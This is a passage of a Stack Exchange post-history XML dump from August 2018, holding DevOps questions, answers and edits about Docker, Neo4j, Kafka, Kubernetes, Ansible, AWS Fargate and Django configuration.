is not in use anymore, and is inconceivable to be used again, *then* you drop it. To change, for example, the type of a column, you would create a new one with the correct type, and phase the data over; and so on. This places the work straight on the shoulders of the devs, and not on the migration tool. Which is fine, as this stuff must be in tight correspondence with the DB-centric code of your application, anyways (even if hidden behind an ORM layer).&#xD;&#xA;&#xD;&#xA;This is pretty much the same approach as for the software development itself; i.e., creating new features but with a switch (deploying the software with the switch &quot;off&quot;, and then being able to toggle quickly), and rolling out parallel implementations of the same feature; only removing the old code when the new one is absolutely proven." ContentLicense="CC BY-SA 4.0" />
  <row Id="15139" PostHistoryTypeId="2" PostId="4817" RevisionGUID="35016600-3b18-4f50-ab5b-d9532d70056e" CreationDate="2018-08-22T23:59:30.560" UserId="9348" Text="I am having difficulty creating a `Graph` object on Neo4j 3.4.6 using py2neo 4.10 with Python 3.7.0.&#xD;&#xA;&#xD;&#xA;I created a Docker container running Neo4j, and I disabled authentication using Dockerfile entry `ENV NEO4J_AUTH=none`. I verified that I can browse to the Neo4j database from the host with http://localhost:7474 and that I was not required to enter a password.&#xD;&#xA;&#xD;&#xA;I created a second Docker contain for my web server. I accessed the Bash shell using `Docker exec -it 033f92b042c1 /bin/bash`. I verified that I can ping the Docker image containing the Neo4j installation.&#xD;&#xA;&#xD;&#xA;From the second Docker image, I tried to create a `Database` object or a `Graph` object. &#xD;&#xA;&#xD;&#xA;    import neo4j&#xD;&#xA;    import py2neo&#xD;&#xA;    from py2neo import Graph&#xD;&#xA;    graph = Graph(&quot;bolt://172.17.0.3:7687&quot;)&#xD;&#xA;&#xD;&#xA;I tried different protocols and `localhost` rather than the IP. In each case, Python throws this:&#xD;&#xA;&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/local/lib/python3.7/site-packages/py2neo/database.py&quot;, line 88, in __new__&#xD;&#xA;        inst = cls._instances[key]&#xD;&#xA;    KeyError: '5280a6d494b601f0256493eab3a08e55'&#xD;&#xA;    &#xD;&#xA;    During handling of the above exception, another exception occurred:&#xD;&#xA;    &#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;&#xD;&#xA;      File &quot;/usr/local/lib/python3.7/site-packages/py2neo/database.py&quot;, line 305, in __new__&#xD;&#xA;        database = Database(uri, **settings)&#xD;&#xA;      File &quot;/usr/local/lib/python3.7/site-packages/py2neo/database.py&quot;, line 92, in __new__&#xD;&#xA;        from py2neo.internal.http import HTTPDriver, HTTPSDriver&#xD;&#xA;      File &quot;/usr/local/lib/python3.7/site-packages/py2neo/internal/http.py&quot;, line 26, in &lt;module&gt;&#xD;&#xA;        from neo4j.addressing import SocketAddress&#xD;&#xA;      File &quot;/usr/local/lib/python3.7/site-packages/neo4j/addressing.py&quot;, line 26, in &lt;module&gt;&#xD;&#xA;        from neo4j.exceptions import AddressError&#xD;&#xA;    ImportError: cannot import name 'AddressError' from 'neo4j.exceptions' (/usr/local/lib/python3.7/site-packages/neo4j/exceptions.py)&#xD;&#xA;&#xD;&#xA;Am I missing a dependency, or is there another way I should be connecting the Docker images?&#xD;&#xA;    " ContentLicense="CC BY-SA 4.0" />
  <row Id="15140" PostHistoryTypeId="1" PostId="4817" RevisionGUID="35016600-3b18-4f50-ab5b-d9532d70056e" CreationDate="2018-08-22T23:59:30.560" UserId="9348" Text="py2neo AddressError When Connecting to neo4j in Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="15141" PostHistoryTypeId="3" PostId="4817" RevisionGUID="35016600-3b18-4f50-ab5b-d9532d70056e" CreationDate="2018-08-22T23:59:30.560" UserId="9348" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15144" PostHistoryTypeId="5" PostId="4803" RevisionGUID="c211a771-f7aa-430a-8ac8-9b52333fa00f" CreationDate="2018-08-23T06:44:38.707" UserId="6375" Comment="Format content and adding a tag" Text="We have tried Prometheus and ***Grafana***. Currently it is not set up on our cluster and we are tight with resources.&#xD;&#xA;&#xD;&#xA; - What are the best ways to monitor load on an ELK stack?&#xD;&#xA; - Is there anything built in?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15145" PostHistoryTypeId="4" PostId="4803" RevisionGUID="c211a771-f7aa-430a-8ac8-9b52333fa00f" CreationDate="2018-08-23T06:44:38.707" UserId="6375" Comment="Format content and adding a tag" Text="How to monitor ELK Stack Load?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15146" PostHistoryTypeId="6" PostId="4803" RevisionGUID="c211a771-f7aa-430a-8ac8-9b52333fa00f" CreationDate="2018-08-23T06:44:38.707" UserId="6375" Comment="Format content and adding a tag" Text="&lt;elastic&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15147" PostHistoryTypeId="24" PostId="4803" RevisionGUID="c211a771-f7aa-430a-8ac8-9b52333fa00f" CreationDate="2018-08-23T06:44:38.707" Comment="Proposed by 6375 approved by 40, 707 edit id of 765" ContentLicense="CC BY-SA 4.0" />
  <row Id="15151" PostHistoryTypeId="5" PostId="3421" RevisionGUID="4ea800d3-4c8b-4a48-8622-820595be5d2d" CreationDate="2018-08-23T06:58:42.993" UserId="6375" Comment="Format content" Text="Is it possible to have several brokers behind a single TCP/IP port? &#xD;&#xA;&#xD;&#xA;I.e., offer a single endpoint for Kafka clients, and having a salable amount of brokers behind that?&#xD;&#xA;&#xD;&#xA;In my company, some people are configuring a (scaling) Kafka server for us, and they insist that this is not possible, and that we need to configure every single broker as a separate endpoint...&#xD;&#xA;&#xD;&#xA;This is in a OpenShift context; it would be nice to just be able to scale the Kafka pods up and down as needed, while using the usual loadbalancing to offer a single port to the outside world.&#xD;&#xA;&#xD;&#xA;***EDIT:*** I am familiar with HAProxy; the question is about Kafka, not OpenShift/ HAProxy. Is there anything special to be configured (in the Kafka broker image)&#xD;&#xA;&#xD;&#xA; - Are they all synchronized amongst each other?&#xD;&#xA; - Are there examples for that somewhere?&#xD;&#xA;&#xD;&#xA;Googling for &quot;OpenShift Apache Kafka&quot; etc. brings up plenty of examples, but all that I found seem to have a different service for each Apache Kafka broker (i.e., explicitly running 3 separate Kafka deployments inside OpenShift, with separate OpenShift services, one each). This is what I wish to avoid. I want to horizontally scale the number of Kafka processes behind HAProxy, and have one single external IP. " ContentLicense="CC BY-SA 4.0" />
  <row Id="15152" PostHistoryTypeId="4" PostId="3421" RevisionGUID="4ea800d3-4c8b-4a48-8622-820595be5d2d" CreationDate="2018-08-23T06:58:42.993" UserId="6375" Comment="Format content" Text="Multiple Kafka brokers behind a single OpenShift service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15153" PostHistoryTypeId="24" PostId="3421" RevisionGUID="4ea800d3-4c8b-4a48-8622-820595be5d2d" CreationDate="2018-08-23T06:58:42.993" Comment="Proposed by 6375 approved by 707, -1 edit id of 768" ContentLicense="CC BY-SA 4.0" />
  <row Id="15154" PostHistoryTypeId="5" PostId="3421" RevisionGUID="26052279-9471-4739-8a40-b8fce99e7b06" CreationDate="2018-08-23T06:58:42.993" UserId="13" Comment="Format content" Text="Is it possible to have several brokers behind a single TCP/IP port? &#xD;&#xA;&#xD;&#xA;I.e., offer a single endpoint for Kafka clients, and having a scalable amount of brokers behind that?&#xD;&#xA;&#xD;&#xA;In my company, some people are configuring a (scaling) Kafka server for us, and they insist that this is not possible, and that we need to configure every single broker as a separate endpoint...&#xD;&#xA;&#xD;&#xA;This is in a OpenShift context; it would be nice to just be able to scale the Kafka pods up and down as needed, while using the usual loadbalancing to offer a single port to the outside world.&#xD;&#xA;&#xD;&#xA;***EDIT:*** I am familiar with HAProxy; the question is about Kafka, not OpenShift/ HAProxy. Is there anything special to be configured (in the Kafka broker image)&#xD;&#xA;&#xD;&#xA; - Are they all synchronized amongst each other?&#xD;&#xA; - Are there examples for that somewhere?&#xD;&#xA;&#xD;&#xA;Googling for &quot;OpenShift Apache Kafka&quot; etc. brings up plenty of examples, but all that I found seem to have a different service for each Apache Kafka broker (i.e., explicitly running 3 separate Kafka deployments inside OpenShift, with separate OpenShift services, one each). This is what I wish to avoid. I want to horizontally scale the number of Kafka processes behind HAProxy, and have one single external IP. " ContentLicense="CC BY-SA 4.0" />
  <row Id="15155" PostHistoryTypeId="5" PostId="4795" RevisionGUID="d7a1bcfc-ff2e-48ff-ba34-a6671f277f3e" CreationDate="2018-08-23T06:59:17.547" UserId="6375" Comment="Format content and adding a tag" Text="In our pipeline, the dev team will do multiple releases to their own test environment, when they are satisfied, they will queue a release for test. This signifies to our QA team that the devs are ready for QA to begin their testing.  QA approves the queued build, kicking off the automation process of deploying the artifacts into their environment. &#xD;&#xA;&#xD;&#xA;Next, QA does their testing and puts in work items for bug that arise. The dev team then makes code changes and repeat the cycle until QA approves a release.  The release will then go to 3rd party compliance testing before being packaged up to go onto remote devices.&#xD;&#xA;&#xD;&#xA;We would like to prevent the QA team from deploying to test when a build hasn't yet been queued by the dev team. However, we want our QA to be able to re-deploy any build that the dev team had previously queued, without requiring the dev team to queue the build.&#xD;&#xA;&#xD;&#xA;This is all in the VSTS release environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="15156" PostHistoryTypeId="4" PostId="4795" RevisionGUID="d7a1bcfc-ff2e-48ff-ba34-a6671f277f3e" CreationDate="2018-08-23T06:59:17.547" UserId="6375" Comment="Format content and adding a tag" Text="How to prevent group from deploy to environment but allow same to redeploy?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15157" PostHistoryTypeId="6" PostId="4795" RevisionGUID="d7a1bcfc-ff2e-48ff-ba34-a6671f277f3e" CreationDate="2018-08-23T06:59:17.547" UserId="6375" Comment="Format content and adding a tag" Text="&lt;continuous-deployment&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15158" PostHistoryTypeId="24" PostId="4795" RevisionGUID="d7a1bcfc-ff2e-48ff-ba34-a6671f277f3e" CreationDate="2018-08-23T06:59:17.547" Comment="Proposed by 6375 approved by 707, 13 edit id of 769" ContentLicense="CC BY-SA 4.0" />
  <row Id="15159" PostHistoryTypeId="2" PostId="4818" RevisionGUID="4b99fb69-774b-40e4-8d26-2183a3d71bf0" CreationDate="2018-08-23T08:00:45.070" UserId="9375" Text="I have some questions regarding docker.&#xD;&#xA;&#xD;&#xA;In docker image template, there is template that define for Ubuntu.&#xD;&#xA;&#xD;&#xA;1) May I know is it possible to create this Ubuntu docker image on Redhat server? &#xD;&#xA;2) Is it possible to use this docker image as environment for development for solution that use debian dependencies packages?&#xD;&#xA;&#xD;&#xA;I not sure whether such question can be asked in this forum. if no, please enlighten me to the correct forum to raise such question." ContentLicense="CC BY-SA 4.0" />
  <row Id="15160" PostHistoryTypeId="1" PostId="4818" RevisionGUID="4b99fb69-774b-40e4-8d26-2183a3d71bf0" CreationDate="2018-08-23T08:00:45.070" UserId="9375" Text="Regarding Use On Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="15161" PostHistoryTypeId="3" PostId="4818" RevisionGUID="4b99fb69-774b-40e4-8d26-2183a3d71bf0" CreationDate="2018-08-23T08:00:45.070" UserId="9375" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15162" PostHistoryTypeId="50" PostId="4167" RevisionGUID="c571679d-f53b-4937-b37b-dd904b5acfa0" CreationDate="2018-08-23T08:02:14.597" UserId="-1" />
  <row Id="15163" PostHistoryTypeId="2" PostId="4819" RevisionGUID="a3ba2253-3ab9-4a10-8069-c9ed0754a86e" CreationDate="2018-08-23T08:07:39.403" UserId="4613" Text="Amazon offers the option of launching their container management services `ECS` and `EKS` in two modes: `EC2` and `Fargate`.&#xD;&#xA;&#xD;&#xA;In the former, normal VMs (`EC2` instances) are used and `ECS` or `EKS` (depending on the selection) clusters are created.&#xD;&#xA;&#xD;&#xA;In the later, there is no concept of vm/instance present; you just have to deal with the containers and plan their capacity so that the system knows what memory/cpu needs you have.&#xD;&#xA;&#xD;&#xA;Given that `Fargate` apparently accounts for a (far?) more cost-efficient solution given that you are charged only for the resources' consumption of your containers, I would like to know what are the benefits (or example use cases) where anyone would like to go with the `EC2` - based solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="15164" PostHistoryTypeId="1" PostId="4819" RevisionGUID="a3ba2253-3ab9-4a10-8069-c9ed0754a86e" CreationDate="2018-08-23T08:07:39.403" UserId="4613" Text="AWS ECS vs Fargate" ContentLicense="CC BY-SA 4.0" />
  <row Id="15165" PostHistoryTypeId="3" PostId="4819" RevisionGUID="a3ba2253-3ab9-4a10-8069-c9ed0754a86e" CreationDate="2018-08-23T08:07:39.403" UserId="4613" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15166" PostHistoryTypeId="5" PostId="4818" RevisionGUID="688f59ba-c652-44e6-bc67-43efc8c2c913" CreationDate="2018-08-23T08:08:48.467" UserId="9375" Comment="added 2 characters in body" Text="I have some questions regarding docker.&#xD;&#xA;&#xD;&#xA;In docker image template, there is template that define for Ubuntu.&#xD;&#xA;&#xD;&#xA;1) May I know is it possible to create this Ubuntu docker image on Redhat server? &#xD;&#xA;&#xD;&#xA;2) Is it possible to use this docker image as environment for development for solution that use debian dependencies packages?&#xD;&#xA;&#xD;&#xA;I not sure whether such question can be asked in this forum. if no, please enlighten me to the correct forum to raise such question." ContentLicense="CC BY-SA 4.0" />
  <row Id="15167" PostHistoryTypeId="4" PostId="4819" RevisionGUID="74df5d6f-049a-4ef8-b689-5d25a426ecd9" CreationDate="2018-08-23T08:16:31.097" UserId="4613" Comment="edited title" Text="AWS ECS/EKS: EC2 vs Fargate mode" ContentLicense="CC BY-SA 4.0" />
  <row Id="15168" PostHistoryTypeId="5" PostId="4818" RevisionGUID="c3e1d2b6-f55b-4ecb-ae3a-061e4c034f11" CreationDate="2018-08-23T08:22:15.493" UserId="9375" Comment="added 7 characters in body" Text="I have some questions regarding docker.&#xD;&#xA;&#xD;&#xA;In docker image template, there is template that define for Ubuntu.&#xD;&#xA;&#xD;&#xA;1) May I know is it possible to build and run this Ubuntu docker image on Redhat server? &#xD;&#xA;&#xD;&#xA;2) Is it possible to use this docker image as environment for development for solution that use debian dependencies packages?&#xD;&#xA;&#xD;&#xA;I not sure whether such question can be asked in this forum. if no, please enlighten me to the correct forum to raise such question." ContentLicense="CC BY-SA 4.0" />
  <row Id="15176" PostHistoryTypeId="2" PostId="4822" RevisionGUID="3ebdefb9-f88c-43d9-ac3f-aeedfac3b3bb" CreationDate="2018-08-23T10:34:05.350" UserId="8691" Text="1. Sure. You can run a Linux-based Docker image on any Linux host.&#xD;&#xA;2. Yes, it is possible. You can run &amp; develop in a debian-based docker container." ContentLicense="CC BY-SA 4.0" />
  <row Id="15177" PostHistoryTypeId="2" PostId="4823" RevisionGUID="c4e9b05a-9571-4fd2-a2f3-38334802d85b" CreationDate="2018-08-23T11:11:01.240" UserId="3785" Text="I have 2 plays in my sites.yml file:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;	- name: First play&#xD;&#xA;	  hosts: all&#xD;&#xA;	  remote_user: root&#xD;&#xA;	  roles:&#xD;&#xA;	       - role1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	- name: Second Play&#xD;&#xA;	  hosts: all&#xD;&#xA;	  remote_user: ansible&#xD;&#xA;	  become: yes&#xD;&#xA;	  become_method: sudo&#xD;&#xA;	  connection: ssh&#xD;&#xA;	  gather_facts: yes&#xD;&#xA;	  roles:&#xD;&#xA;	     - role2&#xD;&#xA;	     - role3&#xD;&#xA;The reason behind this is that, the first play will create ansible user with sudo access. Here, I have used root user to run the play. Then I have to run another play as ansible user.&#xD;&#xA;&#xD;&#xA;My question is how to run these play one after another? I first want to run first one then after that second one.&#xD;&#xA;&#xD;&#xA;If I run the playbook then it will get stuck because it will first run first play and tries to run second play where it gets stuck.&#xD;&#xA;&#xD;&#xA;I am running playbook with the following command:&#xD;&#xA;&#xD;&#xA;    ansible-playbook -i inventory.ini -l web sites.yml --ask-pass -c paramiko&#xD;&#xA;&#xD;&#xA;This is for 1st part." ContentLicense="CC BY-SA 4.0" />
  <row Id="15178" PostHistoryTypeId="1" PostId="4823" RevisionGUID="c4e9b05a-9571-4fd2-a2f3-38334802d85b" CreationDate="2018-08-23T11:11:01.240" UserId="3785" Text="How to skip play in ansible-playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15179" PostHistoryTypeId="3" PostId="4823" RevisionGUID="c4e9b05a-9571-4fd2-a2f3-38334802d85b" CreationDate="2018-08-23T11:11:01.240" UserId="3785" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15181" PostHistoryTypeId="2" PostId="4825" RevisionGUID="6cde0fe5-a374-4601-aa99-2f03199f862c" CreationDate="2018-08-23T13:12:10.363" UserId="8332" Text="At the moment I'm performing Kubernetes deployments by applying deployment.yaml then updating the container/pod image versions with `kubectl set-image` as outlined in the docs. I'm doing this using Jenkins.&#xD;&#xA;&#xD;&#xA;If I understand correctly, each time I apply `kubectl set-image` is updates the deployment in situ creating a new ReplicaSet meaning that I don't need to create a new deployment.yaml for each version bump. &#xD;&#xA;&#xD;&#xA;Is this best practice or should I be creating a new deployment.yaml every time we bump version?&#xD;&#xA;&#xD;&#xA;My next question concerns rollbacks, if I run `kubectl rollout history deployment/name`, I see three revisions but no 'cause'. I think this is because I've not specified --record on the initial deployment, and does that record each time we do a `set-version` too?&#xD;&#xA;&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="15182" PostHistoryTypeId="1" PostId="4825" RevisionGUID="6cde0fe5-a374-4601-aa99-2f03199f862c" CreationDate="2018-08-23T13:12:10.363" UserId="8332" Text="Kubernetes Deployments &amp; Rollbacks" ContentLicense="CC BY-SA 4.0" />
  <row Id="15183" PostHistoryTypeId="3" PostId="4825" RevisionGUID="6cde0fe5-a374-4601-aa99-2f03199f862c" CreationDate="2018-08-23T13:12:10.363" UserId="8332" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15184" PostHistoryTypeId="2" PostId="4826" RevisionGUID="05d98c37-8250-4a6f-bc38-e70cec2c92c2" CreationDate="2018-08-23T13:29:54.620" UserId="9384" Text="I suggest making a `cronjob` container that does the SQL dump and elastic index using `docker exec` commands toward the corresponding containers." ContentLicense="CC BY-SA 4.0" />
  <row Id="15185" PostHistoryTypeId="2" PostId="4827" RevisionGUID="4042fb8f-f4ba-4860-85f7-9936f108c2a1" CreationDate="2018-08-23T13:50:43.643" UserId="4817" Text="According to this [best practices post][1], your file will look like this&#xD;&#xA;&#xD;&#xA;file: `test`&#xD;&#xA;&#xD;&#xA;    [webservers]&#xD;&#xA;    web1&#xD;&#xA;    web2&#xD;&#xA;    web3&#xD;&#xA;    &#xD;&#xA;    [mysqlservers]&#xD;&#xA;    db1&#xD;&#xA;    db2&#xD;&#xA;    db3&#xD;&#xA;    &#xD;&#xA;    [lamp]&#xD;&#xA;    lamp1&#xD;&#xA;    lamp2&#xD;&#xA;    lamp3&#xD;&#xA;    &#xD;&#xA;    [misc]&#xD;&#xA;    host1&#xD;&#xA;    host2&#xD;&#xA;    &#xD;&#xA;    [all:children]&#xD;&#xA;    misc&#xD;&#xA;    webservers&#xD;&#xA;    mysqlservers&#xD;&#xA;    lamp&#xD;&#xA;&#xD;&#xA;    [webservers:children]&#xD;&#xA;    lamp&#xD;&#xA;    &#xD;&#xA;    [mysqlservers:children]&#xD;&#xA;    lamp&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can analyse your file by using `ansible-inventory`:&#xD;&#xA;&#xD;&#xA;    ansible-inventory --inventory-file=./test --list&#xD;&#xA;&#xD;&#xA;**output:**&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;_meta&quot;: {&#xD;&#xA;            &quot;hostvars&quot;: {&#xD;&#xA;                &quot;db1&quot;: {},&#xD;&#xA;                &quot;db2&quot;: {},&#xD;&#xA;                &quot;db3&quot;: {},&#xD;&#xA;                &quot;host1&quot;: {},&#xD;&#xA;                &quot;host2&quot;: {},&#xD;&#xA;                &quot;lamp1&quot;: {},&#xD;&#xA;                &quot;lamp2&quot;: {},&#xD;&#xA;                &quot;lamp3&quot;: {},&#xD;&#xA;                &quot;web1&quot;: {},&#xD;&#xA;                &quot;web2&quot;: {},&#xD;&#xA;                &quot;web3&quot;: {}&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;        &quot;all&quot;: {&#xD;&#xA;            &quot;children&quot;: [&#xD;&#xA;                &quot;lamp&quot;,&#xD;&#xA;                &quot;misc&quot;,&#xD;&#xA;                &quot;mysqlservers&quot;,&#xD;&#xA;                &quot;ungrouped&quot;,&#xD;&#xA;                &quot;webservers&quot;&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        &quot;lamp&quot;: {&#xD;&#xA;            &quot;hosts&quot;: [&#xD;&#xA;                &quot;lamp1&quot;,&#xD;&#xA;                &quot;lamp2&quot;,&#xD;&#xA;                &quot;lamp3&quot;&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        &quot;misc&quot;: {&#xD;&#xA;            &quot;hosts&quot;: [&#xD;&#xA;                &quot;host1&quot;,&#xD;&#xA;                &quot;host2&quot;&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        &quot;mysqlservers&quot;: {&#xD;&#xA;            &quot;children&quot;: [&#xD;&#xA;                &quot;lamp&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;hosts&quot;: [&#xD;&#xA;                &quot;db1&quot;,&#xD;&#xA;                &quot;db2&quot;,&#xD;&#xA;                &quot;db3&quot;&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        &quot;ungrouped&quot;: {},&#xD;&#xA;        &quot;webservers&quot;: {&#xD;&#xA;            &quot;children&quot;: [&#xD;&#xA;                &quot;lamp&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;hosts&quot;: [&#xD;&#xA;                &quot;web1&quot;,&#xD;&#xA;                &quot;web2&quot;,&#xD;&#xA;                &quot;web3&quot;&#xD;&#xA;            ]&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html?highlight=hosts%20yml#how-to-differentiate-staging-vs-production&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15186" PostHistoryTypeId="50" PostId="3715" RevisionGUID="39a661ef-c43a-4b1b-a323-73d8b55cd21f" CreationDate="2018-08-23T14:01:10.173" UserId="-1" />
  <row Id="15190" PostHistoryTypeId="2" PostId="4829" RevisionGUID="1f8373dc-b406-43d5-b05c-e2c597589742" CreationDate="2018-08-23T14:17:25.577" UserId="4817" Text="This is most likely a problem with the django configuration better fitting to stackoverflow, and not so much a devops problem.&#xD;&#xA;&#xD;&#xA;Check the `settings.py` for the following entries:&#xD;&#xA;&#xD;&#xA;    INSTALLED_APPS = [&#xD;&#xA;        (...)&#xD;&#xA;        'django.contrib.staticfiles',&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;At the end of this file&#xD;&#xA;&#xD;&#xA;    STATIC_ROOT='staticfiles'&#xD;&#xA;    STATIC_URL = '/static/'&#xD;&#xA;    STATICFILES_DIRS = [&#xD;&#xA;         os.path.join(BASE_DIR, 'static'),&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;source **Django manual:** [How to static-files][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.djangoproject.com/en/2.0/howto/static-files/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15191" PostHistoryTypeId="2" PostId="4830" RevisionGUID="d730d881-b70b-432f-bd87-feb5e3804a2a" CreationDate="2018-08-23T14:32:07.633" UserId="4613" Text="According to Amazon's [official documentation][1], &#xD;&#xA;&#xD;&#xA;&gt; For Amazon ECS, AWS Fargate pricing is calculated based on the vCPU&#xD;&#xA;&gt; and memory resources used from the time you start to download your&#xD;&#xA;&gt; container image (docker pull) until the Amazon ECS Task* terminates,&#xD;&#xA;&gt; rounded up to the nearest second. A minimum charge of 1 minute&#xD;&#xA;&gt; applies.&#xD;&#xA;&#xD;&#xA;Does this mean that&#xD;&#xA;&#xD;&#xA;a) It __knows__ when my containers consume cpu/ram and applies charges __only__ for this time frames?&#xD;&#xA;&#xD;&#xA;b) It aplies charges based on pre-allocations I do when creating the tasks?&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/fargate/pricing/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15192" PostHistoryTypeId="1" PostId="4830" RevisionGUID="d730d881-b70b-432f-bd87-feb5e3804a2a" CreationDate="2018-08-23T14:32:07.633" UserId="4613" Text="AWS: Fargate charging model" ContentLicense="CC BY-SA 4.0" />
  <row Id="15193" PostHistoryTypeId="3" PostId="4830" RevisionGUID="d730d881-b70b-432f-bd87-feb5e3804a2a" CreationDate="2018-08-23T14:32:07.633" UserId="4613" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15194" PostHistoryTypeId="50" PostId="4590" RevisionGUID="6cba4775-fa35-4dc1-80a3-f58b9596c0d3" CreationDate="2018-08-23T15:00:18.777" UserId="-1" />
  <row Id="15199" PostHistoryTypeId="2" PostId="4831" RevisionGUID="a6044b83-43a5-4c77-9921-285f4a9f8441" CreationDate="2018-08-23T17:47:14.360" UserId="9393" Text="I am trying to answer a question: &#xD;&#xA;###Do we need more worker machines to handle current load?&#xD;&#xA;&#xD;&#xA;We have variable number of jobs coming in and each job takes different time. Here is a snapshot of our system for a period 12 hours.&#xD;&#xA;&#xD;&#xA;[![Jobs in 8 hours][1]][1]&#xD;&#xA;&#xD;&#xA;But the number of jobs in system changes based on day and time.&#xD;&#xA;&#xD;&#xA;How can I calculate throughput of our system and build monitoring around max load our system can handle?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/tniGY.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="15200" PostHistoryTypeId="1" PostId="4831" RevisionGUID="a6044b83-43a5-4c77-9921-285f4a9f8441" CreationDate="2018-08-23T17:47:14.360" UserId="9393" Text="How to calculate server capacity?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15201" PostHistoryTypeId="3" PostId="4831" RevisionGUID="a6044b83-43a5-4c77-9921-285f4a9f8441" CreationDate="2018-08-23T17:47:14.360" UserId="9393" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15202" PostHistoryTypeId="6" PostId="4825" RevisionGUID="93c9876f-16d7-4b2c-b4db-0dfc47acad73" CreationDate="2018-08-23T18:37:11.110" UserId="3766" Comment="added a tag" Text="&lt;kubernetes&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15203" PostHistoryTypeId="24" PostId="4825" RevisionGUID="93c9876f-16d7-4b2c-b4db-0dfc47acad73" CreationDate="2018-08-23T18:37:11.110" Comment="Proposed by 3766 approved by -1 edit id of 772" ContentLicense="CC BY-SA 4.0" />
  <row Id="15204" PostHistoryTypeId="5" PostId="4825" RevisionGUID="2bce6241-5485-4ade-b3a5-bee4c852dca8" CreationDate="2018-08-23T18:37:11.110" UserId="40" Comment="deleted 13 characters in body" Text="At the moment I'm performing Kubernetes deployments by applying `deployment.yaml` then updating the container/pod image versions with `kubectl set-image` as outlined in the docs. I'm doing this using Jenkins.&#xD;&#xA;&#xD;&#xA;If I understand correctly, each time I apply `kubectl set-image` it updates the deployment in situ creating a new ReplicaSet meaning that I don't need to create a new `deployment.yaml` for each version bump. &#xD;&#xA;&#xD;&#xA;Is this best practice or should I be creating a new `deployment.yaml` every time we bump version?&#xD;&#xA;&#xD;&#xA;My next question concerns rollbacks, if I run `kubectl rollout history deployment/name`, I see three revisions but no 'cause'. I think this is because I've not specified `--record` on the initial deployment, and does that record each time we do a `set-version` too?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15205" PostHistoryTypeId="50" PostId="3722" RevisionGUID="1031a4ef-81a3-4ab4-9274-f3af0d512c07" CreationDate="2018-08-23T19:00:38.050" UserId="-1" />
  <row Id="15206" PostHistoryTypeId="50" PostId="1193" RevisionGUID="96302930-4200-4ba8-a659-4a6d54fa2831" CreationDate="2018-08-23T23:00:41.830" UserId="-1" />
  <row Id="15207" PostHistoryTypeId="50" PostId="4586" RevisionGUID="3d6fac08-ca67-4998-8fbe-14629fbc5d74" CreationDate="2018-08-24T00:02:09.603" UserId="-1" />
  <row Id="15212" PostHistoryTypeId="2" PostId="4833" RevisionGUID="859f274a-299d-4bac-9317-447ad62c02dd" CreationDate="2018-08-24T02:38:48.573" UserId="9398" Text="You need run entrypoint like as:&#xD;&#xA;&#xD;&#xA;    FROM microsoft/aspnetcore:1.1.1&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    ENTRYPOINT [&quot;dotnet&quot;, &quot;netcoreApp.dll&quot;]&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15213" PostHistoryTypeId="50" PostId="3089" RevisionGUID="042246ad-bf94-499a-997b-33cc05bbf793" CreationDate="2018-08-24T06:00:17.220" UserId="-1" />
